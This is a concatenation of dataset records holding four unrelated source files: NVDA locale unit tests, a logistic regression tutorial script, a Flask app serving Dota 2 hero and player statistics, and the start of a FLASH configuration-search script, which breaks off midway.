names\"\"\"\r\n\t\tself.assertIn(\r\n\t\t\tlanguageHandler.ansiCodePageFromNVDALocale(\"hi\"),\r\n\t\t\tself.POSSIBLE_CODE_PAGES_FOR_UNICODE_ONLY_LOCALES\r\n\t\t)\r\n\t\tself.assertIn(\r\n\t\t\tlanguageHandler.ansiCodePageFromNVDALocale(\"Ne\"),\r\n\t\t\tself.POSSIBLE_CODE_PAGES_FOR_UNICODE_ONLY_LOCALES\r\n\t\t)\r\n\r\n\r\nclass Test_languageHandler_setLocale(unittest.TestCase):\r\n\t\"\"\"Tests for the function languageHandler.setLocale\"\"\"\r\n\r\n\tSUPPORTED_LOCALES = [\r\n\t\t(\"en\", 'English_United States.1252'),\r\n\t\t(\"fa-IR\", \"Persian_Iran.1256\"),\r\n\t\t(\"pl_PL\", \"Polish_Poland.1250\")\r\n\t]\r\n\r\n\tdef setUp(self):\r\n\t\t\"\"\"\r\n\t\t`setLocale` doesn't change current NVDA language, so reset the locale using `setLanguage` to\r\n\t\tthe current language for each test.\r\n\t\t\"\"\"\r\n\t\tlanguageHandler.setLanguage(languageHandler.getLanguage())\r\n\r\n\t@classmethod\r\n\tdef tearDownClass(cls):\r\n\t\t\"\"\"\r\n\t\t`setLocale` doesn't change current NVDA language, so reset the locale using `setLanguage` to\r\n\t\tthe current language so the tests can continue normally.\r\n\t\t\"\"\"\r\n\t\tlanguageHandler.setLanguage(languageHandler.getLanguage())\r\n\r\n\tdef test_SupportedLocale_LocaleIsSet(self):\r\n\t\t\"\"\"\r\n\t\tTests several locale formats that should result in an expected python locale being set.\r\n\t\t\"\"\"\r\n\t\tfor localeName in self.SUPPORTED_LOCALES:\r\n\t\t\twith self.subTest(localeName=localeName):\r\n\t\t\t\tlanguageHandler.setLocale(localeName[0])\r\n\t\t\t\tself.assertEqual(locale.setlocale(locale.LC_ALL), localeName[1])\r\n\r\n\tdef test_PythonUnsupportedLocale_LocaleUnchanged(self):\r\n\t\t\"\"\"\r\n\t\tTests several locale formats that python doesn't support which will result in a return to the\r\n\t\tcurrent locale\r\n\t\t\"\"\"\r\n\t\toriginal_locale = locale.setlocale(locale.LC_ALL)\r\n\t\tfor localeName in UNSUPPORTED_WIN_LANGUAGES:\r\n\t\t\twith self.subTest(localeName=localeName):\r\n\t\t\t\tlanguageHandler.setLocale(localeName)\r\n\t\t\t\tself.assertEqual(locale.setlocale(locale.LC_ALL), original_locale)\r\n\r\n\tdef test_NVDASupportedAndPythonSupportedLocale_LanguageCodeMatches(self):\r\n\t\t\"\"\"\r\n\t \tTests all the translatable languages that NVDA shows in the user preferences\r\n\t\texcludes the locales that python doesn't support, as the expected behaviour is different.\r\n\t\t\"\"\"\r\n\t\tfor localeName in TRANSLATABLE_LANGS - UNSUPPORTED_WIN_LANGUAGES:\r\n\t\t\twith self.subTest(localeName=localeName):\r\n\t\t\t\tlanguageHandler.setLocale(localeName)\r\n\t\t\t\tcurrent_locale = locale.setlocale(locale.LC_ALL)\r\n\t\t\t\t# check that the language codes are correctly set for python\r\n\t\t\t\t# They can be set to the exact locale that was requested, to the locale gotten\r\n\t\t\t\t# from the language name if language_country cannot be set\r\n\t\t\t\t# or just to English name of the language.\r\n\t\t\t\tlang_country = languageHandler.localeStringFromLocaleCode(localeName)\r\n\t\t\t\tpossibleVariants = {lang_country}\r\n\t\t\t\tif \"65001\" in lang_country:\r\n\t\t\t\t\t# Python normalizes Unicode Windows code page to 'utf8'\r\n\t\t\t\t\tpossibleVariants.add(lang_country.replace(\"65001\", \"utf8\"))\r\n\t\t\t\tif \"_\" in lang_country:\r\n\t\t\t\t\tpossibleVariants.add(languageHandler.localeStringFromLocaleCode(localeName.split(\"_\")[0]))\r\n\t\t\t\tpossibleVariants.add(languageHandler.englishLanguageNameFromNVDALocale(localeName))\r\n\t\t\t\tself.assertIn(\r\n\t\t\t\t\tcurrent_locale,\r\n\t\t\t\t\tpossibleVariants,\r\n\t\t\t\t\tf\"full values: {localeName} {current_locale}\",\r\n\t\t\t\t)\r\n\r\n\tdef test_WindowsLang_LocaleCanBeRetrieved(self):\r\n\t\t\"\"\"\r\n\t\tWe don't know whether python supports a specific windows locale so just ensure locale isn't\r\n\t\tbroken after testing these values.\r\n\t\tEven though we cannot use `locale.getlocale` when checking if the correct locale has been set\r\n\t\tin all other tests since it normalizes locale making it impossible to do comparisons\r\n\t\tit is important that whatever is being set can be retrieved with `getlocale`\r\n\t\tsince some parts of Python standard library such as `time.strptime` relies on `getlocale`\r\n\t\tbeing able to return current locale.\r\n\t\t\"\"\"\r\n\t\tfor localeName in WINDOWS_LANGS:\r\n\t\t\twith self.subTest(localeName=localeName):\r\n\t\t\t\tlanguageHandler.setLocale(localeName)\r\n\t\t\t\tlocale.getlocale()\r\n\r\n\r\nclass Test_LanguageHandler_SetLanguage(unittest.TestCase):\r\n\t\"\"\"Tests for the function languageHandler.setLanguage\"\"\"\r\n\r\n\tdef tearDown(self):\r\n\t\t\"\"\"\r\n\t\tResets the language to whatever it was before the testing suite begun.\r\n\t\t\"\"\"\r\n\t\tlanguageHandler.setLanguage(self._prevLang)\r\n\r\n\tdef __init__(self, *args, **kwargs):\r\n\t\tself._prevLang = languageHandler.getLanguage()\r\n\r\n\t\tctypes.windll.kernel32.SetThreadLocale(0)\r\n\t\tdefaultThreadLocale = ctypes.windll.kernel32.GetThreadLocale()\r\n\t\tself._defaultThreadLocaleName = languageHandler.windowsLCIDToLocaleName(\r\n\t\t\tdefaultThreadLocale\r\n\t\t)\r\n\r\n\t\tlocale.setlocale(locale.LC_ALL, \"\")\r\n\t\tself._defaultPythonLocale = locale.setlocale(locale.LC_ALL)\r\n\r\n\t\tlanguageHandler.setLanguage(self._prevLang)\r\n\t\tsuper().__init__(*args, **kwargs)\r\n\r\n\tdef test_NVDASupportedLanguages_LanguageIsSetCorrectly(self):\r\n\t\t\"\"\"\r\n\t\tTests languageHandler.setLanguage, using all NVDA supported languages, which should do the following:\r\n\t\t- set the translation service and current NVDA language\r\n\t\t- set the windows locale for the thread (fallback to system default)\r\n\t\t- set the python locale for the thread (match the translation service, fallback to system default)\r\n\t\t\"\"\"\r\n\t\tfor localeName in TRANSLATABLE_LANGS:\r\n\t\t\twith self.subTest(localeName=localeName):\r\n\t\t\t\tlangOnly = localeName.split(\"_\")[0]\r\n\t\t\t\tlanguageHandler.setLanguage(localeName)\r\n\t\t\t\t# check current NVDA language/translation service is set\r\n\t\t\t\tself.assertEqual(languageHandler.getLanguage(), localeName)\r\n\r\n\t\t\t\t# check Windows thread is set\r\n\t\t\t\tthreadLocale = ctypes.windll.kernel32.GetThreadLocale()\r\n\t\t\t\tthreadLocaleName = languageHandler.windowsLCIDToLocaleName(threadLocale)\r\n\t\t\t\tthreadLocaleLang = threadLocaleName.split(\"_\")[0]\r\n\t\t\t\tif localeName in UNSUPPORTED_WIN_LANGUAGES:\r\n\t\t\t\t\t# our translatable locale isn't supported by windows\r\n\t\t\t\t\t# check that the system locale is unchanged\r\n\t\t\t\t\tself.assertEqual(self._defaultThreadLocaleName, threadLocaleName)\r\n\t\t\t\telse:\r\n\t\t\t\t\t# check that the language codes are correctly set for the thread\r\n\t\t\t\t\tself.assertEqual(\r\n\t\t\t\t\t\tlangOnly,\r\n\t\t\t\t\t\tthreadLocaleLang,\r\n\t\t\t\t\t\tf\"full values: {localeName} {threadLocaleName}\",\r\n\t\t\t\t\t)\r\n\r\n\t\t\t\t# check that the python locale is set\r\n\t\t\t\tpython_locale = locale.setlocale(locale.LC_ALL)\r\n\t\t\t\tif localeName in UNSUPPORTED_WIN_LANGUAGES:\r\n\t\t\t\t\t# our translatable locale isn't supported by python\r\n\t\t\t\t\t# check that the system locale is unchanged\r\n\t\t\t\t\tself.assertEqual(self._defaultPythonLocale, python_locale)\r\n\t\t\t\telse:\r\n\t\t\t\t\t# check that the language codes are correctly set for python\r\n\t\t\t\t\t# They can be set to the exact locale that was requested, to the locale gotten\r\n\t\t\t\t\t# from the language name if language_country cannot be set\r\n\t\t\t\t\t# or just to English name of the language.\r\n\t\t\t\t\tlang_country = languageHandler.localeStringFromLocaleCode(localeName)\r\n\t\t\t\t\tpossibleVariants = {lang_country}\r\n\t\t\t\t\tif \"65001\" in lang_country:\r\n\t\t\t\t\t\t# Python normalizes Unicode Windows code page to 'utf8'\r\n\t\t\t\t\t\tpossibleVariants.add(lang_country.replace(\"65001\", \"utf8\"))\r\n\t\t\t\t\tif \"_\" in lang_country:\r\n\t\t\t\t\t\tpossibleVariants.add(languageHandler.localeStringFromLocaleCode(localeName.split(\"_\")[0]))\r\n\t\t\t\t\tpossibleVariants.add(languageHandler.englishLanguageNameFromNVDALocale(localeName))\r\n\t\t\t\t\tself.assertIn(\r\n\t\t\t\t\t\tlocale.setlocale(locale.LC_ALL),\r\n\t\t\t\t\t\tpossibleVariants,\r\n\t\t\t\t\t\tf\"full values: {localeName} {python_locale}\"\r\n\t\t\t\t\t)\r\n\r\n\tdef test_WindowsLanguages_NoErrorsThrown(self):\r\n\t\t\"\"\"\r\n\t\tWe don't know whether python or our translator system supports a specific windows locale\r\n\t\tso just ensure the setLanguage process doesn't fail.\r\n\t\t\"\"\"\r\n\t\tfor localeName in WINDOWS_LANGS:\r\n\t\t\twith self.subTest(localeName=localeName):\r\n\t\t\t\tlanguageHandler.setLanguage(localeName)\r\n\r\n\r\nclass Test_language_Normalization_for_NVDA(unittest.TestCase):\r\n\t\"\"\"Set of unit tests for `languageHandler.normalizeLanguage`.\"\"\"\r\n\r\n\tdef test_normalization_no_country_info(self):\r\n\t\t\"\"\"Makes sure that if no country info is provided language is normalized to lower case.\"\"\"\r\n\t\tself.assertEqual(\"en\", languageHandler.normalizeLanguage(\"en\"))\r\n\t\tself.assertEqual(\"en\", languageHandler.normalizeLanguage(\"EN\"))\r\n\t\tself.assertEqual(\"kmr\", languageHandler.normalizeLanguage(\"kmr\"))\r\n\r\n\tdef test_underscore_used_as_separator_after_normalization(self):\r\n\t\t\"\"\"Ensures that underscore is used to separate country info from language.\r\n\t\tAlso implicitly test the fact that country code is converted to upper case.\"\"\"\r\n\t\tself.assertEqual(\"pt_BR\", languageHandler.normalizeLanguage(\"pt_BR\"))\r\n\t\tself.assertEqual(\"pt_BR\", languageHandler.normalizeLanguage(\"pt-BR\"))\r\n\r\n\tdef test_meta_languages_no_normalization(self):\r\n\t\t\"\"\"Ensures that for meta languages such as x-western `None` is returned.\"\"\"\r\n\t\tself.assertIsNone(languageHandler.normalizeLanguage(\"x-western\"))\r\n\r\n\r\nclass test_getAvailableLanguages(unittest.TestCase):\r\n\t\"\"\"Set of unit tests for `languageHandler.getAvailableLanguages`\"\"\"\r\n\r\n\tdef test_langsListExpectedFormat(self):\r\n\t\t\"\"\"Ensures that for all languages except user default each element of the returned list consists of\r\n\t\tlanguage code, and language  description containing language code\r\n\t\t(necessary since lang descriptions are localized to the default Windows language).\"\"\"\r\n\t\tfor langCode, langDesc in languageHandler.getAvailableLanguages()[1:]:\r\n\t\t\tself.assertIn(langCode, langDesc)\r\n\t\t\tself.assertIn(languageHandler.getLanguageDescription(langCode), langDesc)\r\n\r\n\tdef test_knownLanguageCodesInList(self):\r\n\t\t\"\"\"Ensure that expected languages are in the list.\"\"\"\r\n\t\tlangCodes = [lang[0] for lang in languageHandler.getAvailableLanguages()]\r\n\t\tself.assertIn(\"pl\", langCodes)\r\n\t\tself.assertIn(\"ru\", langCodes)\r\n\t\tself.assertIn(\"zh_TW\", langCodes)\r\n\t\tself.assertIn(\"kmr\", langCodes)\r\n\r\n\tdef test_langsWithOutTranslationsNotInList(self):\r\n\t\t\"\"\"Ensure that languages which do  not have a translations\r\n\t\t(i.e. only symbol  files are present) are excluded .\"\"\"\r\n\t\tlangCodes = [lang[0] for lang in languageHandler.getAvailableLanguages()]\r\n\t\tself.assertNotIn(\"be\", langCodes)\r\n\t\tself.assertNotIn(\"te\", langCodes)\r\n\t\tself.assertNotIn(\"zh\", langCodes)\r\n\t\tself.assertNotIn(\"kok\", langCodes)\r\n\r\n\tdef test_manuallyAddedLocalesPresentInList(self):\r\n\t\t\"\"\"Some locales do not have translations, yet they should be  present in the list.\"\"\"\r\n\t\tlangCodes = [lang[0] for lang in languageHandler.getAvailableLanguages()]\r\n\t\tself.assertEqual(\"Windows\", langCodes[0])\r\n\t\tself.assertIn(\"en\", langCodes)\r\n\r\n\tdef test_noDuplicates(self):\r\n\t\tseenLangCodes = set()\r\n\t\tseenLangDescs = set()\r\n\t\tfor langCode, langDesc in languageHandler.getAvailableLanguages():\r\n\t\t\tself.assertNotIn(langCode, seenLangCodes)\r\n\t\t\tseenLangCodes.add(langCode)\r\n\t\t\tself.assertNotIn(langDesc, seenLangDescs)\r\n\t\t\tseenLangDescs.add(langDesc)\r\n\r\n\tdef test_userDefaultDescriptionIsCorrect(self):\r\n\t\t\"\"\"Description for the 'user default' should not contain a language code.\"\"\"\r\n\t\tuserDefaultLangCode, userDefaultLangDesc = languageHandler.getAvailableLanguages()[0]\r\n\t\tself.assertEqual(userDefaultLangCode, \"Windows\")\r\n\t\tself.assertNotIn(userDefaultLangCode, userDefaultLangDesc)\r\n","repo_name":"nvaccess/nvda","sub_path":"tests/unit/test_languageHandler.py","file_name":"test_languageHandler.py","file_ext":"py","file_size_in_byte":18285,"program_lang":"python","lang":"en","doc_type":"code","stars":1802,"dataset":"github-code","pt":"18"}
{"seq_id":"75311544680","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import  train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import confusion_matrix\r\nimport numpy as np\r\n\r\ndata=pd.read_csv(\"ads.csv\")\r\nprint(data.head())\r\n\r\nreal_x=data.iloc[:,[2,3]].values\r\nreal_y=data.iloc[:,4].values\r\n\r\ntrain_x,test_x,train_y,test_y=train_test_split(real_x,real_y,test_size=0.2,random_state=0)\r\n\r\nreg=LogisticRegression(random_state=0)\r\nscaler=StandardScaler()\r\ntrain_x=scaler.fit_transform(train_x)  # feature Scaling\r\ntest_x=scaler.fit_transform(test_x)\r\n\r\n#print(real_x)\r\n\r\nreg.fit(train_x,train_y)\r\npred_y=reg.predict(test_x)\r\n#print(test_y)\r\n#print(pred_y)\r\n# confusion matrix\r\ncf=confusion_matrix(test_y,pred_y)\r\n#print(cf)\r\n\r\n#plotting of graph\r\n#training data\r\nfrom matplotlib.colors import ListedColormap\r\nX_set,Y_set=train_x,train_y\r\nX1 , X2=np.meshgrid(np.arange(start=X_set[:,0].min()-1,stop=X_set[:,0].max()+1,step=0.01),np.arange(start=X_set[:, 1].min() - 1, stop=X_set[:, 1].max() + 1, step=0.01))\r\nplt.contour(X1,X2,reg.predict(np.array([X1.ravel(),X2.ravel()]).T).reshape(X1.shape),alpha=0.75,cmap=ListedColormap(('red','green')))\r\nplt.xlim(X1.min(),X1.max())\r\nplt.ylim(X2.min(),X2.max())\r\nfor i,j in enumerate (np.unique(Y_set)):\r\n   plt.scatter(X_set[Y_set==j,0],X_set[Y_set==j,1], c=ListedColormap(('red','green'))(i),label=j)\r\nplt.title(\"Log Reg\")\r\nplt.xlabel(\"Age\")\r\nplt.ylabel(\"Estimated_sal\")\r\nplt.legend()\r\nplt.show()\r\n\r\n#testing_data\r\nX_set,Y_set=test_x,test_y\r\nX1 , X2=np.meshgrid(np.arange(start=X_set[:,0].min()-1,stop=X_set[:,0].max()+1,step=0.01),np.arange(start=X_set[:, 1].min() - 1, stop=X_set[:, 1].max() + 1, step=0.01))\r\nplt.contour(X1,X2,reg.predict(np.array([X1.ravel(),X2.ravel()]).T).reshape(X1.shape),alpha=0.75,cmap=ListedColormap(('red','green')))\r\nplt.xlim(X1.min(),X1.max())\r\nplt.ylim(X2.min(),X2.max())\r\nfor i,j in enumerate (np.unique(Y_set)):\r\n   plt.scatter(X_set[Y_set==j,0],X_set[Y_set==j,1], c=ListedColormap(('red','green'))(i),label=j)\r\nplt.title(\"Log Reg\")\r\nplt.xlabel(\"Age\")\r\nplt.ylabel(\"Estimated_sal\")\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"goswamiprashant/Machine-Learning","sub_path":"Logistregression.py","file_name":"Logistregression.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11838171104","text":"import datetime\nimport json\nimport mimetypes\nimport re\nfrom collections import Counter\nfrom operator import itemgetter\n\nfrom flask import Flask, jsonify, make_response, redirect, render_template, request\nfrom flask_cors import CORS\nfrom flask_caching import Cache\nfrom flask_compress import Compress\nimport time\n\nfrom helper_funcs.helper_imports import *\nfrom helper_funcs.table import generate_table\nfrom route_logic.hero_view import HeroView\nfrom route_logic.player_view import PlayerView\nfrom route_logic.redirect import handle_redirect\nfrom helper_funcs.database.collection import player_names, hero_list, all_items\n# TODO\n# show alex ads\n\nCOMPRESS_MIMETYPES = ['text/html', 'text/css', 'text/xml',\n                      'application/json', 'application/javascript']\nCOMPRESS_LEVEL = 6\nCOMPRESS_MIN_SIZE = 500\ncompress = Compress()\napp = Flask(__name__)\nCORS(app)\ncompress.init_app(app)\n# minify(app=app, html=True, js=False, cssless=False)\n\n# classes\nmimetypes.add_type('application/javascript', '.js')\n\n\n@app.route('/', methods=['GET'])\ndef index():\n    data = db['hero_list'].find_one({}, {'_id': 0})\n    links = [{'name': switcher(i['name']), 'id':i['id']}\n             for i in data['heroes']]\n    links = sorted(\n        links, key=itemgetter('name'))\n    img_names = [switcher(i['name']) for i in links]\n    win_data = db['wins'].find()\n    wins = [item for item in win_data]\n    for entry in wins:\n        entry['hero'] = switcher(entry['hero'])\n    wins = sorted(wins, key=lambda k: k['hero'])\n    total_games = hero_output.count_documents({})\n    return render_template('index.html', hero_imgs=img_names, links=links, wins=wins, total_games=total_games)\n\n\n@app.route('/', methods=['POST'])\n@app.route('/chappie', methods=['POST'])\n@app.route('/hero/<query>/starter_items', methods=['POST'])\n@app.route('/hero/<query>', methods=['POST'])\n@app.route('/player/<query>/starter_items', methods=['POST'])\n@app.route('/player/<query>', methods=['POST'])\ndef item_post(query=''):\n    return redirect(handle_redirect(request))\n\n\n@app.route('/hero/<hero_name>/starter_items', methods=['GET'])\n@app.route('/hero/<hero_name>', methods=['GET'])\n@app.route('/hero/<hero_name>/starter_items/table', methods=['GET'])\n@app.route('/hero/<hero_name>/table', methods=['GET'])\n\ndef hero_get(hero_name):\n    hv = HeroView()\n    template = hv.templateSelector(request, '')\n    if 'table' in request.url:\n        return generate_table('hero', hero_name, template, request)\n    kwargs = hv.hero_view(hero_name, request)\n    return render_template(template, **kwargs)\n\n\n@app.route('/hero/<hero_name>/react-test', methods=['GET'])\ndef react_hero_test(hero_name):\n    st = time.perf_counter()\n    count = 0\n    roles = ['Hard Support', 'Support',\n             'Roaming', 'Offlane', 'Midlane', 'Safelane']\n    role_picks = {}\n    pick_data = db['test_hero_picks'].find_one({'hero': hero_name}, {'_id': 0})\n    # for role in roles:\n    #     c = list(hero_output.find({'hero': hero_name, 'role': role}))\n    #     # wins = hero_output.count_documents(\n    #     #     {'hero': hero_name, 'role': role, 'win': 1})\n    #     wins = [0 for match in c if match['win'] == 1]\n    #     role_picks[role] = {'picks': len(c), 'wins': len(wins)}\n\n    # print(role_picks)\n    length = request.args.get('length')\n    skip = request.args.get('skip')\n    role = request.args.get('role')\n    query = {'hero': hero_name}\n    if role:\n        query = {'hero': hero_name, 'role': role}\n    if length and skip:\n        length = int(length)\n        skip = int(skip)\n        o = list(hero_output.find(query,\n                                  {'_id': 0}).sort('unix_time', -1).limit(length).skip(skip))\n    else:\n        o = list(hero_output.find(query,\n                                  {'_id': 0}).sort('unix_time', -1))\n\n    # print(d)\n    print(time.perf_counter() - st)\n    res = jsonify({'data': o, 'picks': pick_data})\n    res.cache_control.max_age = 1000\n    res.cache_control.public = True\n    print(res.cache_control)\n    return res\n\n\n@ app.route('/player/<player_name>/react-test')\ndef react_player_test(player_name):\n    display_name = player_name.replace('%20', ' ')\n    print('in')\n    regex = r\"(\\W)\"\n    subst = \"\\\\\\\\\\\\1\"\n    val = re.sub(regex, subst, display_name)\n    regex = f\"{val}\"\n    roles_db = db['tpp'].find_one(\n        {'name': player_name}, {'_id': 0})\n    length = request.args.get('length')\n    skip = request.args.get('skip')\n    role = request.args.get('role')\n    query = {'name': {\"$regex\": regex}}\n    if role:\n        query = {'name': {\"$regex\": regex}, 'role': role}\n    if length or skip:\n        length = int(length)\n        skip = int(skip)\n        o = list(hero_output.find(query,\n                                  {'_id': 0}).sort('unix_time', -1).limit(length).skip(skip))\n    else:\n        o = list(hero_output.find(query,\n                                  {'_id': 0}).sort('unix_time', -1))\n    # pick_data = db['player_picks'].find_one(\n    #     {'name': player_name}, {'_id': 0})\n    # print(roles_db)\n    res = jsonify({'data': o, 'picks': roles_db})\n    res.cache_control.max_age = 1000\n    return res\n\n@app.route('/hero/<hero_name>/count_docs', methods=['GET'])\ndef count_docs(hero_name):\n    strt = time.perf_counter()\n    collection = request.args.get('collection')\n    if collection:\n        data = db[collection].count_documents({'hero': hero_name})\n        print('count_docs', time.perf_counter()-strt, 'seconds')\n        return str(data)\n    return {'Internal server error': 500}\n\n@app.route('/hero/<hero_name>/skill_build', methods=['GET'])\ndef skill_build(hero_name):\n    print('skill build', hero_name)\n    strt = time.perf_counter()\n    data = db['non-pro'].find({'hero': hero_name},\n                              {'_id': 0, 'abilities': 1, 'role': 1, 'id': 1})\n    res = jsonify(list(data))\n    res.cache_control.max_age = 86400\n    end = time.perf_counter()\n    print(end-strt, 'seconds')\n    return res\n\n\n@app.route('/hero/<hero_name>/item_build', methods=['GET'])\ndef item_build(hero_name):\n    print('item build', hero_name)\n    strt = time.perf_counter()\n    length = request.args.get('length')\n    skip = request.args.get('skip')\n    if length and skip:\n        data = db['non-pro'].find({'hero': hero_name},\n                                  {'_id': 0, 'items': 1, 'abilities': 1, 'starting_items': 1, 'role': 1}).limit(int(length)).skip(int(skip))\n    else:\n        data = db['non-pro'].find({'hero': hero_name},\n                                  {'_id': 0, 'items': 1, 'abilities': 1, 'starting_items': 1, 'role': 1})\n    res = jsonify(list(data))\n    res.cache_control.max_age = 86400\n    end = time.perf_counter()\n    print(end-strt, 'seconds')\n    return res\ndef player_get(player_name):\n    pv = PlayerView()\n    template = pv.templateSelector(request, 'player_')\n    if 'table' in request.url:\n        return generate_table('player', player_name, template, request)\n    kwargs = pv.player_view(player_name, request)\n    return render_template(template, **kwargs)\n\n\n@ app.route('/chappie')\ndef chappie_get():\n    data = [match['data'] for match in db['chappie'].find({})]\n    replaced = [re.sub(r\"\\(smurf \\d\\)\", '', doc['name'])for doc in data]\n    times = [timeago.format(\n        match['unix_time'], datetime.datetime.now()) for match in data]\n    d = dict(Counter(replaced))\n    count = {k: d[k] for k in sorted(d, key=d.get, reverse=True) if d[k] > 1}\n    return render_template('chappie.html', data=data, count=count, times=times, unix_times=[match['unix_time'] for match in data])\n\n\n@ app.route('/cron')\ndef cron():\n    return json.dumps({'success': True}), 200, {'ContentType': 'application/json'}\n\n\n@ app.route('/robots.txt')\ndef robots():\n    return \"User-agent: *\\nDisallow: /\"\n\n\n@ app.route('/files/hero_ids')\ndef hero_json():\n    data = hero_list\n    print('hero_list len', len(hero_list))\n    hero_ids = [{'name': switcher(i['name']), 'id': i['id']}\n                for i in data]\n    data = json.dumps({'heroes': hero_ids})\n    res = make_response(json.dumps({'heroes': hero_ids}))\n    res.cache_control.max_age = 602000\n    res.add_etag()\n    return res\n\n\n@ app.route('/files/abilities/<hero_name>')\ndef hero_ability_json(hero_name):\n    data = db['hero_stats'].find_one(\n        {'hero': hero_name})['abilities']\n    res = make_response(data)\n    res.cache_control.max_age = 602000\n    res.add_etag()\n    return res\n\n\n@ app.route('/files/items')\ndef items_json():\n    data = all_items\n    res = make_response({'items': data})\n    res.cache_control.max_age = 602000\n    res.add_etag()\n    return res\n\n\n@ app.route('/files/colors')\ndef color_json():\n    with open('colours/hero_colours.json', 'r') as f:\n        data = json.load(f)\n        res = make_response(data)\n        res.cache_control.max_age = 602000\n        res.add_etag()\n        return res\n\n\n@ app.route('/files/<hero_name>/best-games')\ndef best_games(hero_name):\n    if request.args:\n        role = request.args.get('role').replace('%20', ' ').title()\n        best_games = [match for match in db['best_games'].find(\n            {'hero': hero_name, 'display_role': role}, {'_id': 0})]\n        print(best_games)\n    else:\n        best_games = [match for match in db['best_games'].find(\n            {'hero': hero_name, 'display_role': None}, {'_id': 0})]\n    return {'best_games': best_games}\n@ app.route('/files/ability_colours')\ndef ability_color_json():\n    with open('colours/ability_colours.json', 'r') as f:\n        data = json.load(f)\n        return data\n\n\n@ app.route('/files/accounts')\ndef acc_json():\n    # data = db['account_ids'].find({})\n    # players = [player['name'] for player in data]\n    # print(accounts)\n    se = set()\n    for name in player_names:\n        match = re.search(r\".+(?=\\()\", name)\n        if match:\n            name = match.group(0).strip()\n        se.add(name)\n    data = list(se)\n    res = jsonify(data)\n    res.cache_control.max_age = 602000\n    return res\n\n\n@ app.route('/files/win-stats')\n# @cache.cached(timeout=86400)\ndef wins_json():\n    data = db['wins'].find({}, {'_id': 0})\n    wins = [item for item in data]\n    for win in wins:\n        win['hero'] = switcher(win['hero'])\n    resp = jsonify(wins)\n    resp.cache_control.max_age = 1000\n    return resp\n\n\n@ app.route('/files/hero-data/<hero_name>')\ndef hero_data(hero_name):\n    req = db['hero_stats'].find_one({'hero': hero_name}, {'_id': 0})\n    res = make_response(req)\n    res.cache_control.max_age = 602000\n    res.add_etag()\n    return res\n\n\n@ app.route('/files/match-data/<hero_name>')\ndef match_data(hero_name, role=None):\n    hero_name = switcher(hero_name)\n    if 'role' in request.args:\n        role = request.args.get('role').replace('%20', ' ').title()\n    if role:\n        data = hero_output.find(\n            {'hero': hero_name, 'role': role}, {'_id': 0})\n    else:\n        data = hero_output.find({'hero': hero_name}, {'_id': 0})\n    data = [entry for entry in data]\n    res = make_response(data)\n    res.cache_control.max_age = 1000\n    res.add_etag()\n    return res\n\n\n@ app.route('/files/talent-data/<hero_name>')\ndef talent_data(hero_name):\n    role = request.args.get('role')\n    m_data = match_data(hero_name, role=None)\n    if 'role' in request.args:\n        m_data = match_data(hero_name, role=role)\n    talents = talent_methods.get_talent_order(m_data, switcher(hero_name))\n    return json.dumps(talents)\n\n\n\n\ndef main():\n    app.run(debug=True)\n\n\nif __name__ == '__main__':\n    # update_one_entry('jakiro', 6288052800)\n    # manual_hero_update('jakiro')\n    main()\n","repo_name":"27bslash/dota2-pro-item-tracker","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11495,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"20235250888","text":"#!\\usr\\bin\\python\n# coding=utf-8\n# Author: youngfeng\n# Update: 07/16/2018\n\n\"\"\"\nFlash, proposed by Nair et al. (arXiv '18), which aims to find the (near) optimal configuration in unevaluated set.\nSTEP 1: select 80%% of original data as dataset\nSTEP 2: split the dataset into training set (30 configs) and unevaluated set (remaining configs)\nSTEP 3: predict the optimal configuration in unevaluated set, then remove it from unevaluated set to training set.\nSTEP 4: repeat the STEP 4 until the budget (50 configs) is loss out.\nThe details of Progressive are introduced in paper \"Finding Faster Configurations using FLASH\".\n\"\"\"\n\nimport pandas as pd\nimport random as rd\nimport numpy as np\nfrom sklearn.tree import DecisionTreeRegressor\n\nclass config_node:\n\t\"\"\"\n\tfor each configuration, we create a config_node object to save its informations\n\tindex    : actual rank\n\tfeatures : feature list\n\tperfs    : actual performance\n\t\"\"\"\n\tdef __init__(self, index, features, perfs, predicted):\n\t\tself.index = index\n\t\tself.features = features\n\t\tself.perfs = perfs\n\t\tself.predicted = predicted\n\n\ndef remove_by_index(config_pool, index):\n\t\"\"\"\n\tremove the selected configuration\n\t\"\"\"\n\tfor config in config_pool:\n\t\tif config.index == index:\n\t\t\tconfig_pool.remove(config)\n\t\t\tbreak\n\n\treturn config_pool\n\n\ndef find_lowest_rank(train_set, test_set):\n\t\"\"\"\n\treturn the lowest rank in top 10\n\t\"\"\"\n\tsorted_test = sorted(test_set, key=lambda x: x.perfs[-1])\n    \n    # train data\n\ttrain_features = [t.features for t in train_set]\n\ttrain_perfs = [t.perfs[-1] for t in train_set]\n    \n    # test data\n\ttest_perfs = [t.features for t in sorted_test]\n\n\tcart_model = DecisionTreeRegressor()\n\tcart_model.fit(train_features, train_perfs)\n\tpredicted = cart_model.predict(test_perfs)\n\n\tpredicted_id = [[i, p] for i, p in enumerate(predicted)]\n    # i-> actual rank, p -> predicted value\n\tpredicted_sorted = sorted(predicted_id, key=lambda x: x[-1])\n    # print(predicted_sorted)\n    # assigning predicted ranks\n\tpredicted_rank_sorted = [[p[0], p[-1], i] for i,p in enumerate(predicted_sorted)]\n    # p[0] -> actual rank, p[-1] -> perdicted value, i -> predicted rank\n\tselect_few = predicted_rank_sorted[:10]\n\n\t# print the predcited top-10 configuration \n\t# for sf in select_few:\n\t# \tprint(\"actual rank:\", sf[0], \" actual value:\", sorted_test[sf[0]].perfs[-1], \" predicted value:\", sf[1], \" predicted rank:\", sf[2])\n\t# print(\"-------------\")\n\n\treturn np.min([sf[0] for sf in select_few])\n\n\ndef predict_by_cart(train_set, test_set):\n\t\"\"\"\n\treturn the predicted optimal condiguration\n\t\"\"\"\n\ttrain_features = [config.features for config in train_set]\n\ttrain_perfs = [config.perfs[-1] for config in train_set]\n\n\ttest_features = [config.features for config in test_set]\n\n\tcart_model = 